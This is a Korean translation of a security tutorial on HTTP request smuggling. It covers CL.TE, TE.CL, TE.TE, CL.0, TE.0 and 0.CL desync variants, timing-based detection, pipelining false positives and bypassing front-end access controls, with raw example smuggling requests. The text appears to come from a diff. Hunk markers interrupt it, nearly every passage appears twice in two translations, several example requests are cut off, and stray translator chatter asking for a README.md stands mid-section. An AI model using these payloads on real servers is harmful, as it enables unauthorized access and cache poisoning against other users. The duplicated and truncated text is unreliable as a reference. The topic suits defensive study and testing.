HTTP request smuggling 공격은 프론트엔드와 백엔드 서버가 `Content-Length`(CL)와 `Transfer-Encoding`(TE) 헤더를 해석하는 방식의 불일치를 악용하는 모호한 요청을 전송함으로써 만들어집니다. 이러한 공격은 주로 **CL.TE**, **TE.CL**, **TE.TE** 형태로 나타납니다. 각 유형은 프론트엔드와 백엔드 서버가 이러한 헤더를 우선시하는 방식의 고유한 조합을 나타냅니다. 취약점은 동일한 요청을 서로 다르게 처리함으로써 예기치 않은, 잠재적으로 악의적인 결과가 발생할 때 생깁니다.
### 취약점 유형의 기본 예시
![https://twitter.com/SpiderSec/status/1200413390339887104?ref_src=twsrc%5Etfw%7Ctwcamp%5Etweetembed%7Ctwterm%5E1200413390339887104&ref_url=https%3A%2F%2Ftwitter.com%2FSpiderSec%2Fstatus%2F1200413390339887104](../../images/EKi5edAUUAAIPIK.jpg)
> [!TIP]
> 위 테이블에는 TE.0 기법을 추가해야 합니다. CL.0 기법과 유사하지만 Transfer-Encoding을 사용하는 방식입니다.
> 앞의 표에는 TE.0 기법도 추가해야 합니다. CL.0 기법과 유사하지만 Transfer-Encoding을 사용합니다.
#### CL.TE Vulnerability (Content-Length used by Front-End, Transfer-Encoding used by Back-End)
- **Front-End (CL):** `Content-Length` 헤더를 기준으로 요청을 처리합니다.
- **Back-End (TE):** `Transfer-Encoding` 헤더를 기준으로 요청을 처리합니다.
- **Attack Scenario:**
- 공격자는 `Content-Length` 헤더 값이 실제 콘텐츠 길이와 일치하지 않는 요청을 전송합니다.
- front-end 서버는 `Content-Length` 값에 따라 전체 요청을 back-end로 전달합니다.
- back-end 서버는 `Transfer-Encoding: chunked` 헤더 때문에 요청을 청크 방식으로 처리하여 남은 데이터를 별도의 후속 요청으로 해석합니다.
- **Example:**
- **Front-End (CL):** `Content-Length` 헤더를 기반으로 요청을 처리합니다.
- **Back-End (TE):** `Transfer-Encoding` 헤더를 기반으로 요청을 처리합니다.
- **공격 시나리오:**
- 공격자는 `Content-Length` 헤더의 값이 실제 콘텐츠 길이와 맞지 않는 요청을 보냅니다.
- 프론트엔드는 `Content-Length` 값에 따라 전체 요청을 백엔드로 전달합니다.
- 백엔드는 `Transfer-Encoding: chunked` 헤더 때문에 요청을 청크 방식으로 처리하여 나머지 데이터를 별도의 후속 요청으로 해석합니다.
- **예시:**
```
POST / HTTP/1.1
@ -82,13 +93,14 @@ Foo: x
#### TE.CL Vulnerability (Transfer-Encoding used by Front-End, Content-Length used by Back-End)
- **Front-End (TE):** `Transfer-Encoding` 헤더를 기준으로 요청을 처리합니다.
- **Back-End (CL):** `Content-Length` 헤더를 기준으로 요청을 처리합니다.
- **Attack Scenario:**
- 공격자는 청크 크기(`7b`)와 실제 콘텐츠 길이(`Content-Length: 4`)가 일치하지 않는 chunked 요청을 보냅니다.
- front-end 서버는 `Transfer-Encoding`을 존중하여 전체 요청을 back-end로 전달합니다.
- back-end 서버는 `Content-Length`만을 따르며 요청의 초기 부분(`7b` 바이트)만 처리하고, 나머지는 의도치 않은 후속 요청의 일부로 남깁니다.
- **Example:**
- **Front-End (TE):** `Transfer-Encoding` 헤더를 기반으로 요청을 처리합니다.
- **Back-End (CL):** `Content-Length` 헤더를 기반으로 요청을 처리합니다.
- **공격 시나리오:**
- 공격자는 청크 사이즈(`7b`)와 실제 컨텐츠 길이(`Content-Length: 4`)가 일치하지 않는 chunked 요청을 보냅니다.
- 프론트엔드는 `Transfer-Encoding`을 따르며 전체 요청을 백엔드로 전달합니다.
- 백엔드는 `Content-Length`를 존중하여 요청의 초기 부분(예: `7b` 바이트)만 처리하고, 나머지는 의도치 않은 후속 요청의 일부로 남깁니다.
- **예시:**
```
POST / HTTP/1.1
@ -110,12 +122,13 @@ x=
#### TE.TE Vulnerability (Transfer-Encoding used by both, with obfuscation)
- **Servers:** 둘 다 `Transfer-Encoding`을 지원하지만, 하나는 난독화를 통해 이를 인식하지 못하게 만들 수 있습니다.
- **Attack Scenario:**
- 공격자는 obfuscated된 `Transfer-Encoding` 헤더들을 포함한 요청을 보냅니다.
- 어느 서버(front-end 또는 back-end)가 난독화를 인식하지 못하느냐에 따라 CL.TE 또는 TE.CL 취약점이 발생할 수 있습니다.
- 한 서버가 처리하지 못한 요청의 나머지 부분이 후속 요청의 일부가 되어 smuggling이 발생합니다.
- **Example:**
- **서버들:** 둘 다 `Transfer-Encoding`을 지원하지만, 한쪽은 난독화로 인해 이를 무시하도록 속일 수 있습니다.
- **공격 시나리오:**
- 공격자는 난독화된 `Transfer-Encoding` 헤더들을 포함한 요청을 보냅니다.
- 프론트엔드나 백엔드 중 어느 쪽이 난독화를 인식하지 못하느냐에 따라 CL.TE 또는 TE.CL 취약점을 악용할 수 있습니다.
- 한 서버가 보지 못한 요청의 남은 부분이 후속 요청의 일부가 되어 smuggling이 발생합니다.
- **예시:**
```
POST / HTTP/1.1
@ -134,11 +147,11 @@ Transfer-Encoding
: chunked
```
#### **CL.CL Scenario (Content-Length used by both Front-End and Back-End)**
#### **CL.CL 시나리오 (Content-Length used by both Front-End and Back-End)**
- 양쪽 서버 모두 `Content-Length` 헤더만을 기준으로 요청을 처리합니다.
- 일반적으로 두 서버가 요청 길이를 동일하게 해석하므로 smuggling으로 이어지지 않습니다.
- **Example:**
- 양쪽 서버 모두 `Content-Length` 헤더만으로 요청을 처리합니다.
- 이 시나리오는 일반적으로 smuggling으로 이어지지 않는데, 두 서버가 요청 길이를 일치되게 해석하기 때문입니다.
- **예시:**
```
POST / HTTP/1.1
@ -149,11 +162,11 @@ Connection: keep-alive
Normal Request
```
#### **CL.0 Scenario**
#### **CL.0 시나리오**
- `Content-Length` 헤더가 존재하고 0이 아닌 값을 가지는 상황을 가리킵니다. 이 경우 back-end는 `Content-Length`를 무시(0으로 처리)하지만 front-end는 이를 파싱합니다.
- 이는 smuggling을 이해하고 제작하는 데 중요합니다. 서버들이 요청의 끝을 어떻게 판단하는지에 영향을 미칩니다.
- **Example:**
- `Content-Length` 헤더가 존재하고 0이 아닌 값을 가지는 시나리오를 지칭합니다. 이 경우 백엔드는 `Content-Length` 헤더를(0으로 처리하여) 무시하지만 프론트엔드는 이를 파싱합니다.
- 이는 서버가 요청의 끝을 결정하는 방식에 영향을 미치기 때문에 request smuggling을 이해하고 구성하는 데 중요합니다.
- **예시:**
```
POST / HTTP/1.1
@ -164,11 +177,11 @@ Connection: keep-alive
Non-Empty Body
```
#### TE.0 Scenario
#### TE.0 시나리오
- 이전과 유사하지만 TE를 사용하는 경우입니다.
- 앞의 경우와 유사하지만 TE를 사용하는 경우입니다.
- Technique [reported here](https://www.bugcrowd.com/blog/unveiling-te-0-http-request-smuggling-discovering-a-critical-vulnerability-in-thousands-of-google-cloud-websites/)
- **Example**:
- **예시**:
```
OPTIONS / HTTP/1.1
Host: {HOST}
@ -186,15 +199,39 @@ x: X
EMPTY_LINE_HERE
EMPTY_LINE_HERE
```
#### 웹 서버 중단시키기
#### `0.CL` 시나리오
이 기법은 초기 HTTP 데이터를 읽는 동안 **웹 서버를 중단시킬 수 있는** 상황에서도 유용하며, 특히 연결을 **닫지 않고** 유지할 수 있을 때 그렇습니다. 이렇게 하면 HTTP 요청의 **body**는 **next HTTP request**로 간주됩니다.
`0.CL` 상황에서는 Content-Length가 다음과 같이 설정된 request가 전송됩니다:
```
GET /Logon HTTP/1.1
Host: <redacted>
Content-Length:
7
예를 들어, [**this writeup**](https://mizu.re/post/twisty-python)에서 설명된 것처럼, Werkzeug에서는 일부 **Unicode** 문자를 전송하면 서버가 **break**될 수 있었습니다. 그러나 HTTP 연결이 헤더 **`Connection: keep-alive`**로 생성되었다면 요청의 body는 읽히지 않고 연결은 계속 열려 있으므로, 요청의 **body**는 **next HTTP request**로 처리됩니다.
GET /404 HTTP/1.1
X: Y
```
그리고 front-end는 `Content-Length`를 고려하지 않기 때문에 예제에서 7까지인 첫 번째 요청만 backend로 전송합니다. 그러나 backend는 `Content-Length`를 보고 본문을 기다리는데, front-end가 이미 응답을 기다리고 있어 본문이 도착하지 않습니다.
#### hop-by-hop headers를 통한 강제
하지만 backend로 보낸 요청의 본문을 받기 전에 응답하는 요청이 있다면 이 교착 상태는 발생하지 않습니다. 예를 들어 IIS에서는 `/con`과 같은 금지된 이름으로 요청을 보내면 (자세한 내용은 [documentation](https://learn.microsoft.com/en-us/windows/win32/fileio/naming-a-file)을 확인하세요), 초기 요청은 바로 응답되고 두 번째 요청에는 피해자의 요청이 포함됩니다:
```
GET / HTTP/1.1
X: yGET /victim HTTP/1.1
Host: <redacted>
```
이는 desync를 유발하는 데 유용하지만, 지금까지는 아무 영향이 없다.
hop-by-hop headers를 악용하면 프록시에 **헤더 Content-Length 또는 Transfer-Encoding을 삭제하도록 지시하여 HTTP request smuggling을 악용할 수 있다**.
하지만 이 포스트는 이를 **[0.CL attack into a CL.0 with a double desync](https://portswigger.net/research/http1-must-die)**로 변환함으로써 해결책을 제시한다.
#### 웹 서버 중단
이 기법은 초기 HTTP 데이터를 읽는 동안 웹 서버를 **중단시키는 것이 가능하지만 연결을 닫지 않는** 상황에서도 유용하다. 이렇게 하면 HTTP 요청의 **body**가 **다음 HTTP 요청**으로 간주된다.
예를 들어, [**this writeup**](https://mizu.re/post/twisty-python)에 설명된 것처럼, Werkzeug에서는 일부 **Unicode** 문자를 전송하면 서버가 **중단**될 수 있었다. 그러나 HTTP 연결이 헤더 **`Connection: keep-alive`**로 생성된 경우 요청의 body는 읽히지 않고 연결은 계속 열려 있으므로, 요청의 **body**는 **다음 HTTP 요청**으로 처리된다.
#### hop-by-hop 헤더를 통한 강제화
hop-by-hop 헤더를 악용하면 프록시에게 **Content-Length 또는 Transfer-Encoding 헤더를 삭제하도록 지시하여 HTTP request smuggling을 악용할 수 있다**.
```
Connection: Content-Length
```
@ -205,16 +242,16 @@ For **more information about hop-by-hop headers** visit:
../abusing-hop-by-hop-headers.md
{{#endref}}
## Finding HTTP Request Smuggling
## HTTP Request Smuggling 찾기
HTTP request smuggling 취약점을 식별하는 것은 종종 타이밍 기법을 통해 가능하며, 이는 조작된 요청에 대한 서버의 응답 시간이 얼마나 걸리는지를 관찰하는 데 의존합니다. 이러한 기법은 특히 CL.TE 및 TE.CL 취약점을 탐지하는 데 유용합니다. 이 방법들 외에도 취약점을 찾기 위해 사용할 수 있는 다른 전략과 도구들이 있습니다:
HTTP request smuggling 취약점을 식별하는 것은 종종 타이밍 기법을 사용하여 달성할 수 있으며, 이는 조작된 요청에 대해 서버가 응답하는 데 걸리는 시간을 관찰하는 데 의존합니다. 이러한 기법은 특히 CL.TE 및 TE.CL 취약점을 탐지하는 데 유용합니다. 이 방법들 외에도 해당 취약점을 찾는 데 사용할 수 있는 다른 전략과 도구들이 있습니다:
### Finding CL.TE Vulnerabilities Using Timing Techniques
### 타이밍 기법으로 CL.TE 취약점 찾기
- **Method:**
- **방법:**
- 애플리케이션이 취약한 경우 백엔드 서버가 추가 데이터를 기다리게 만드는 요청을 전송합니다.
- **Example:**
- 취약할 경우 백엔드 서버가 추가 데이터를 기다리게 만드는 요청을 전송합니다.
- **예시:**
```
POST / HTTP/1.1
@ -228,20 +265,20 @@ A
0
```
- **Observation:**
- 프론트엔드 서버`Content-Length` 기준으로 요청을 처리하고 메시지를 조기에 잘라냅니다.
- 백엔드 서버는 chunked 메시지를 기대하고 다음 청크를 기다리므로 응답 지연이 발생합니다.
- **관찰:**
- 프론트엔드 서버`Content-Length`를 기준으로 요청을 처리하여 메시지를 조기에 잘라냅니다.
- 백엔드 서버는 chunked 메시지를 기대하고 다음 청크를 기다리지만 도착하지 않아 지연이 발생합니다.
- **Indicators:**
- 타임아웃 또는 긴 응답 지연.
- 때때로 상세한 서버 정보와 함께 백엔드에서 400 Bad Request 오류 수신.
- **지표:**
- 응답 지연 또는 타임아웃.
- 때때로 자세한 서버 정보와 함께 백엔드 서버에서 400 Bad Request 오류를 수신함.
### Finding TE.CL Vulnerabilities Using Timing Techniques
### 타이밍 기법으로 TE.CL 취약점 찾기
- **Method:**
- **방법:**
- 애플리케이션이 취약한 경우 백엔드 서버가 추가 데이터를 기다리게 만드는 요청을 전송합니다.
- **Example:**
- 취약할 경우 백엔드 서버가 추가 데이터를 기다리게 만드는 요청을 전송합니다.
- **예시:**
```
POST / HTTP/1.1
@ -254,42 +291,50 @@ Content-Length: 6
X
```
- **Observation:**
- 프론트엔드 서버`Transfer-Encoding` 기준으로 요청을 처리하고 전체 메시지를 전달합니다.
- 백엔드 서버는 `Content-Length`준의 메시지를 기대하고 추가 데이터를 기다리므로 지연이 발생합니다.
- **관찰:**
- 프론트엔드 서버`Transfer-Encoding` 기준으로 요청을 처리하고 전체 메시지를 전달합니다.
- 백엔드 서버는 `Content-Length`반 메시지를 기대하고 추가 데이터를 기다리지만 도착하지 않아 지연이 발생합니다.
### Other Methods to Find Vulnerabilities
### 기타 취약점 발견 방법
- **Differential Response Analysis:**
- 약간씩 다른 버전의 요청을 보내고 서버 응답에 예상치 못한 차이가 있는지 관찰하여 파싱 불일치를 탐지합니다.
- **Using Automated Tools:**
- Burp Suite의 'HTTP Request Smuggler' extension과 같은 도구는 모호한 형태의 다양한 요청을 자동으로 전송하고 응답을 분석하여 이러한 취약점을 테스트할 수 있습니다.
- **Content-Length Variance Tests:**
- 실제 콘텐츠 길이와 일치하지 않는 다양한 `Content-Length` 값을 가진 요청을 보내 서버가 이러한 불일치를 어떻게 처리하는지 관찰합니다.
- **Transfer-Encoding Variance Tests:**
- 난독화되거나 손상된 `Transfer-Encoding` 헤더가 포함된 요청을 전송하고 프론트엔드와 백엔드 서버가 이러한 조작에 대해 어떻게 다르게 반응하는지 모니터링합니다.
- **차별 응답 분석:**
- 약간씩 다른 버전의 요청을 전송하고 서버 응답이 예기치 않게 달라지는지 관찰하여 파싱 불일치를 식별합니다.
- **자동화 도구 사용:**
- Burp Suite의 'HTTP Request Smuggler' 확장과 같은 도구는 다양한 형태의 모호한 요청을 전송하고 응답을 분석하여 이러한 취약점을 자동으로 테스트할 수 있습니다.
- **Content-Length 가변성 테스트:**
- 실제 콘텐츠 길이와 일치하지 않는 다양한 `Content-Length` 값을 가진 요청을 전송하고 서버가 이러한 불일치를 어떻게 처리하는지 관찰합니다.
- **Transfer-Encoding 가변성 테스트:**
- 난독화되거나 잘못된 형식의 `Transfer-Encoding` 헤더를 가진 요청을 전송하고 프론트엔드와 백엔드 서버가 이러한 조작에 어떻게 다르게 반응하는지 모니터링합니다.
### HTTP Request Smuggling Vulnerability Testing
### The `Expect: 100-continue` header
타이밍 기법의 유효성을 확인한 후에는 클라이언트 요청이 조작 가능한지 검증하는 것이 중요합니다. 간단한 방법은 요청을 포이즈닝(poisoning)하는 것을 시도하는 것으로, 예를 들어 `/`에 대한 요청이 404 응답을 반환하도록 만드는 것입니다. 앞서 [Basic Examples](#basic-examples)에서 논의한 `CL.TE``TE.CL` 예시는 클라이언트가 다른 리소스에 접근하려는 상황에서도 클라이언트의 요청을 포이즈닝하여 404 응답을 유도하는 방법을 보여줍니다.
이 헤더가 http desync를 악용하는 데 어떻게 도움이 되는지 확인:
**Key Considerations**
{{#ref}}
../special-http-headers.md
{{#endref}}
다른 요청을 방해하여 request smuggling 취약점을 테스트할 때 유의할 점:
### HTTP Request Smuggling 취약점 테스트
- **Distinct Network Connections:** "attack" 요청과 "normal" 요청은 별개의 네트워크 연결을 통해 전송해야 합니다. 동일한 연결을 사용하면 취약점 존재를 검증할 수 없습니다.
- **Consistent URL and Parameters:** 두 요청에 대해 동일한 URL과 파라미터 이름을 사용하도록 하십시오. 현대 애플리케이션은 URL과 파라미터에 따라 특정 백엔드 서버로 라우팅하는 경우가 많습니다. 이를 일치시키면 두 요청이 동일한 서버에서 처리될 가능성이 높아져 공격 성공 확률이 증가합니다.
- **Timing and Racing Conditions:** 간섭을 감지하려는 "normal" 요청은 "attack" 요청과 경쟁하므로, "attack" 요청 직후 즉시 "normal" 요청을 보내야 합니다. 트래픽이 많은 애플리케이션에서는 명확한 취약점 확인을 위해 여러 번 시도해야 할 수 있습니다.
- **Load Balancing Challenges:** 프론트엔드 서버가 로드 밸런싱을 수행하면 요청이 서로 다른 백엔드 시스템으로 분배될 수 있습니다. "attack" 요청과 "normal" 요청이 다른 시스템에 할당되면 공격은 실패합니다. 이 때문에 취약점 확인을 위해 여러 번 시도해야 할 수 있습니다.
- **Unintended User Impact:** 공격이 의도치 않게 다른 사용자의 요청(테스트용 "normal" 요청이 아닌)에 영향을 미친다면, 이는 당신의 공격이 다른 애플리케이션 사용자의 요청에 영향을 준다는 의미입니다. 지속적인 테스트는 다른 사용자를 방해할 수 있으므로 주의가 필요합니다.
타이밍 기법의 효과가 확인되면 클라이언트 요청을 조작할 수 있는지 검증하는 것이 중요합니다. 간단한 방법은 요청을 poisoning하여 `/`에 대한 요청이 404 응답을 반환하도록 시도하는 것입니다. 앞서 [Basic Examples](#basic-examples)에서 논의한 `CL.TE``TE.CL` 예시는 클라이언트가 다른 리소스에 접근하려 할 때에도 클라이언트의 요청을 poisoning하여 404 응답을 유도하는 방법을 보여줍니다.
## Distinguishing HTTP/1.1 pipelining artifacts vs genuine request smuggling
**주요 고려사항**
Connection reuse (keep-alive) 및 pipelining은 동일한 소켓에서 여러 요청을 보내는 테스트 도구에서 쉽게 "smuggling"의 환상을 만들어냅니다. 무해한 클라이언트 측 아티팩트와 실제 서버 측 desync를 구분하는 법을 익히세요.
테스트 중 다른 요청을 간섭시키며 request smuggling 취약점을 확인할 때 다음을 유의하세요:
### Why pipelining creates classic false positives
- **별도의 네트워크 연결:** "attack"과 "normal" 요청은 별도의 네트워크 연결로 전송되어야 합니다. 둘을 동일한 연결에서 보내면 취약점이 존재한다고 판단할 수 없습니다.
- **일관된 URL 및 파라미터:** 두 요청 모두에 대해 동일한 URL과 파라미터 이름을 사용하도록 하세요. 최신 애플리케이션은 종종 URL 및 파라미터에 따라 특정 백엔드 서버로 요청을 라우팅합니다. 이를 일치시키면 두 요청이 동일한 서버에서 처리될 가능성이 높아지며, 이는 공격 성공을 위해 전제 조건입니다.
- **타이밍 및 레이스 조건:** "normal" 요청은 "attack" 요청의 간섭을 감지하기 위해 보내는 것으로, 다른 동시 애플리케이션 요청들과 경쟁합니다. 따라서 "attack" 요청 직후에 "normal" 요청을 보내세요. 트래픽이 많은 애플리케이션의 경우 결론적 취약점 확인을 위해 여러 번 시도해야 할 수 있습니다.
- **로드 밸런싱 문제:** 프론트엔드 서버가 로드 밸런서 역할을 하면 요청을 다양한 백엔드 시스템으로 분산시킬 수 있습니다. "attack"과 "normal" 요청이 서로 다른 시스템으로 전달되면 공격은 성공하지 않습니다. 이 로드 밸런싱 요소 때문에 취약점을 확인하려면 여러 번 시도해야 할 수 있습니다.
- **의도치 않은 사용자 영향:** 공격이 의도치 않게 다른 사용자의 요청(탐지용으로 보낸 "normal" 요청이 아닌)에 영향을 미친다면, 이는 공격이 다른 애플리케이션 사용자를 영향받게 했다는 뜻입니다. 계속된 테스트는 다른 사용자를 방해할 수 있으므로 주의가 필요합니다.
HTTP/1.1은 단일 TCP/TLS 연결을 재사용하고 동일한 스트림에 요청과 응답을 연속으로 붙입니다. pipelining에서는 클라이언트가 여러 요청을 연속으로 전송하고 순서대로 응답받기를 기대합니다. 흔한 false-positive 사례는 단일 연결에서 변형된 CL.0-style payload를 두 번 재전송하는 것입니다:
## HTTP/1.1 pipelining 아티팩트와 진짜 request smuggling 구분하기
연결 재사용(keep-alive)과 pipelining은 동일 소켓에서 여러 요청을 전송하는 테스트 도구에서 "smuggling"의 착시를 쉽게 유발할 수 있습니다. 무해한 클라이언트 측 아티팩트와 실제 서버 측 desync를 구분하는 법을 배우세요.
### 왜 pipelining이 고전적 오탐을 발생시키는가
HTTP/1.1은 단일 TCP/TLS 연결을 재사용하고 동일한 스트림에서 요청과 응답을 연결합니다. pipelining에서는 클라이언트가 여러 요청을 연달아 전송하고 순서대로 응답을 받기를 기대합니다. 흔한 오탐 사례는 단일 연결에서 잘못된 CL.0-스타일 페이로드를 두 번 재전송하는 것입니다:
```
POST / HTTP/1.1
Host: hackxor.net
@ -298,7 +343,7 @@ Content_Length: 47
GET /robots.txt HTTP/1.1
X: Y
```
원본 README.md 파일의 내용을 붙여 넣어 주세요. 해당 내용을 받은 뒤, 지시에 따라 코드·태그·링크 등을 그대로 유지하면서 영어 본문만 한국어로 번역해 드리겠습니다.
해당 README.md 파일 내용을 여기에 붙여넣어 주세요. 내용을 받으면 한국어로 번역해 드리겠습니다.
```
HTTP/1.1 200 OK
Content-Type: text/html
@ -326,42 +371,42 @@ Content_Length: 47
GET /robots.txt HTTP/1.1
X: Y
```
Impact: 없음. 클라이언트의 프레이밍이 서버와 비동기화되었습니다.
Impact: 없음. 클라이언트의 프레이밍이 서버와 어긋났습니다.
> [!TIP]
> 재사용/파이프라이닝에 의존하는 Burp 모듈: Turbo Intruder with `requestsPerConnection>1`, Intruder with "HTTP/1 connection reuse", Repeater "Send group in sequence (single connection)" or "Enable connection reuse".
> Burp 모듈(재사용/파이프라이닝에 의존하는): Turbo Intruder (`requestsPerConnection>1` 설정), Intruder의 "HTTP/1 connection reuse", Repeater의 "Send group in sequence (single connection)" 또는 "Enable connection reuse".
### Litmus tests: pipelining or real desync?
1. Disable reuse and re-test
- Burp Intruder/Repeater에서 HTTP/1 reuse를 끄고 "Send group in sequence" 옵션을 피하세요.
- Turbo Intruder에서는 `requestsPerConnection=1``pipeline=False`로 설정하세요.
- 동작이 사라지면, connection-locked/stateful 대상이나 client-side desync를 다루는 경우를 제외하고는 클라이언트 측 pipelining일 가능성이 큽니다.
- Burp Intruder/Repeater에서 HTTP/1 reuse를 끄고 "Send group in sequence"를 피합니다.
- Turbo Intruder에서는 `requestsPerConnection=1``pipeline=False`로 설정합니다.
- 동작이 사라지면, connection-locked/stateful 대상이거나 클라이언트 측 desync가 아닌 이상 클라이언트 측 pipelining일 가능성이 큽니다.
2. HTTP/2 nested-response check
- HTTP/2 요청을 전송하세요. 응답 본문에 완전한 nested HTTP/1 응답이 포함되어 있다면, 순수한 클라이언트 아티팩트가 아니라 백엔드 파싱/desync 버그를 증명한 것입니다.
- HTTP/2 요청을 전송합니다. 응답 본문에 완전한 중첩된 HTTP/1 응답이 들어있다면, 순수한 클라이언트 인공물이 아니라 백엔드 파싱/desync 버그를 증명한 것입니다.
3. Partial-requests probe for connection-locked front-ends
- 일부 FE는 클라이언트가 자신의 연결을 재사용했을 때만 업스트림 BE 연결을 재사용합니다. partial-requests를 사용해 클라이언트 재사용을 반영하는 FE 동작을 탐지하세요.
- connection-locked 기법에 대해서는 PortSwigger "BrowserPowered Desync Attacks"를 참조하세요.
- 일부 FE는 클라이언트가 자신의 연결을 재사용했을 때만 업스트림 BE 연결을 재사용합니다. partial-requests를 사용해 클라이언트 재사용을 그대로 반영하는 FE 동작을 탐지하세요.
- connection-locked 기법은 PortSwigger의 "BrowserPowered Desync Attacks"를 참조하세요.
4. State probes
- 동일한 TCP 연결에서 첫 요청과 이후 요청의 차이(첫-요청 라우팅/검증)를 찾아보세요.
- Burp "HTTP Request Smuggler"에는 이 과정을 자동화하는 connectionstate probe가 포함되어 있습니다.
- 동일한 TCP 연결에서 첫 번째 요청과 이후 요청의 차이를 찾아보세요(first-request routing/validation).
- Burp "HTTP Request Smuggler"는 이를 자동화하는 connectionstate probe를 포함합니다.
5. Visualize the wire
- Burp "HTTP Hacker" 확장을 사용하여 재사용 및 partial requests를 실험하는 동안 연결 결합(concatenation)과 메시지 프레이밍을 직접 확인하세요.
- 실험 중에 재사용 및 partial requests를 조정하면서 연결 및 메시지 프레이밍을 직접 검사하려면 Burp "HTTP Hacker" 확장을 사용하세요.
### Connectionlocked request smuggling (reuse-required)
일부 front-end는 클라이언트가 자신의 연결을 재사용할 때만 업스트림 연결을 재사용합니다. 실제 smuggling은 존재하지만 클라이언트 측 재사용에 조건부입니다. 구분하고 영향을 입증하려면:
- 서버 측 버그를 증하세요.
일부 front-end는 클라이언트가 자신의 연결을 재사용할 때만 업스트림 연결을 재사용합니다. 실제 smuggling은 존재하지만 클라이언트 측 재사용에 의존합니다. 구분 및 영향 증명을 위해:
- 서버 측 버그를 증하세요
- HTTP/2 nested-response check를 사용하거나,
- partial-requests를 사용해 FE가 클라이언트 재사용 시에만 업스트림을 재사용함을 보여주세요.
- 직접적인 교차 사용자 소켓 용이 차단되더라도 실제 영향을 보여주세요:
- Cache poisoning: desync를 통해 공유 캐시를 오염시켜 응답이 다른 사용자에 영향을 주도록 함.
- Internal header disclosure: FE가 주입한 헤더(예: auth/trust 헤더)를 반사하고 이를 통해 권한 우회로 전환.
- Bypass FE controls: 프론트엔드를 통과해 제한된 경로/메서드를 smuggle.
- Host-header abuse: 호스트 라우팅 특이점을 결합해 내부 vhost로 전환.
- 운영자 워크플로우
- 제어된 재사용으로 재현하세요 (Turbo Intruder `requestsPerConnection=2`, 또는 Burp Repeater 탭 그룹 → "Send group in sequence (single connection)").
- 그런 다음 cache/header-leak/control-bypass primitives로 연결(chain)하고 교차 사용자 또는 권한 영향(impact)을 입증하세요.
- partial-requests로 FE가 클라이언트가 재사용할 때만 업스트림을 재사용함을 보여주세요.
- 직접적인 교차 사용자 소켓 용이 차단되더라도 실제 영향을 보여주세요:
- Cache poisoning: desync를 통해 공유 캐시를 오염시켜 다른 사용자에게 영향을 미치는 응답을 만들어냅니다.
- Internal header disclosure: FE가 삽입한 헤더(예: auth/trust 헤더)를 반영하여 권한 우회로 피벗합니다.
- Bypass FE controls: front-end를 우회하여 제한된 경로/메서드를 통과시킵니다.
- Host-header abuse: 호스트 라우팅 특이점과 결합해 내부 vhost로 피벗합니다.
- Operator workflow
- 제어된 재사용으로 재현하세요(Turbo Intruder `requestsPerConnection=2`, 또는 Burp Repeater 탭 그룹 → "Send group in sequence (single connection)").
- 그런 다음 캐시/헤더-leak/control-bypass 프리미티브로 연결해 교차 사용자 또는 권한 영향으로 증명하세요.
> See also connectionstate attacks, which are closely related but not technically smuggling:
>
@ -371,7 +416,7 @@ Impact: 없음. 클라이언트의 프레이밍이 서버와 비동기화되었
### Clientside desync constraints
브라우저 기반/browser-powered 또는 client-side desync를 목표로 하는 경우, 악성 요청은 브라우저가 cross-origin으로 보낼 수 있어야 합니다. Header obfuscation 트릭은 작동하지 않습니다. navigation/fetch로 도달 가능한 primitives에 집중한 뒤, downstream 컴포넌트가 응답을 반사하거나 캐시할 때 cache poisoning, header disclosure, 또는 front-end control bypass로 전환하세요.
브라우저 구동/클라이언트 측 desync를 노리는 경우, 악성 요청은 브라우저가 cross-origin으로 보낼 수 있어야 합니다. Header obfuscation 기법은 작동하지 않습니다. navigation/fetch로 도달 가능한 프리미티브에 집중한 뒤, 다운스트림 컴포넌트가 응답을 반영하거나 캐시하면 cache poisoning, header disclosure, 또는 front-end 제어 우회로 피벗하세요.
For background and end-to-end workflows:
@ -381,23 +426,23 @@ browser-http-request-smuggling.md
### Tooling to help decide
- HTTP Hacker (Burp BApp Store): 저수준 HTTP 동작과 소켓 연결(concatenation)을 노출합니다.
- HTTP Hacker (Burp BApp Store): 저레벨 HTTP 동작과 소켓 연결(concatenation)을 노출합니다.
- "Smuggling or pipelining?" Burp Repeater Custom Action: https://github.com/PortSwigger/bambdas/blob/main/CustomAction/SmugglingOrPipelining.bambda
- Turbo Intruder: `requestsPerConnection`을 통한 연결 재사용 제어가 정밀합니다.
- Burp HTTP Request Smuggler: 첫-요청 라우팅/검증을 찾아내는 connectionstate probe가 포함되어 있습니다.
- Turbo Intruder: `requestsPerConnection`을 통해 연결 재사용을 정밀 제어합니다.
- Burp HTTP Request Smuggler: firstrequest 라우팅/검증을 찾는 connectionstate probe를 포함합니다.
> [!NOTE]
> 재사용 전용 효과는 서버 측 desync를 증명하고 구체적인 영향(예: 오염된 캐시 아티팩트, 내부 헤더 노출로 인한 권한 우회 가능성, 우회된 FE 제어 등)을 입증하지 못하면 문제로 취급하지 마세요.
> 재사용 전용 효과는 서버 측 desync와 구체적인 영향(오염된 캐시 아티팩트, 내부 헤더 누출로 인한 권한 우회, 우회된 FE 제어 등)을 증명하지 못하면 심각한 문제로 간주하지 마세요.
## Abusing HTTP Request Smuggling
### Circumventing Front-End Security via HTTP Request Smuggling
때때로 front-end 프록시는 들어오는 요청을 검사하여 보안 조치를 시행합니다. 하지만 HTTP Request Smuggling을 악용하면 이러한 조치를 우회하여 권한 없는 접근을 허용할 수 있습니다. 예를 들어, `/admin`에 대한 접근은 외부에서 금지되어 front-end 프록시가 적극적으로 차단할 수 있습니다. 그럼에도 불구하고 이 프록시는 smuggled HTTP 요청 내에 포함된 요청을 제대로 검사하지 않아 이러한 제한을 우회할 수 있는 구멍을 남길 수 있습니다.
때때로 front-end 프록시는 보안 조치를 적용하여 들어오는 요청을 검사합니다. 그러나 HTTP Request Smuggling을 악용하면 이러한 조치를 우회해 제한된 엔드포인트에 무단으로 접근할 수 있습니다. 예를 들어 `/admin`에 대한 외부 접근이 금지되어 front-end 프록시가 차단하더라도, 이 프록시는 smuggled HTTP 요청 내부의 임베디드 요청을 검사하지 않아 제한을 우회할 수 있습니다.
다음 예시는 HTTP Request Smuggling을 사용해 front-end 보안 제어를 우회하는 방법을 보여주며, 특히 일반적으로 front-end 프록시가 보호하는 `/admin` 경로를 대상으로 합니다:
다음 예시들은 주로 front-end 프록시가 보호하는 `/admin` 경로를 목표로 하여 HTTP Request Smuggling이 front-end 보안 제어를 어떻게 우회할 수 있는지 보여줍니다:
**CL.TE 예시**
**CL.TE Example**
```
POST / HTTP/1.1
Host: [redacted].web-security-academy.net
@ -414,8 +459,7 @@ Content-Length: 10
x=
```
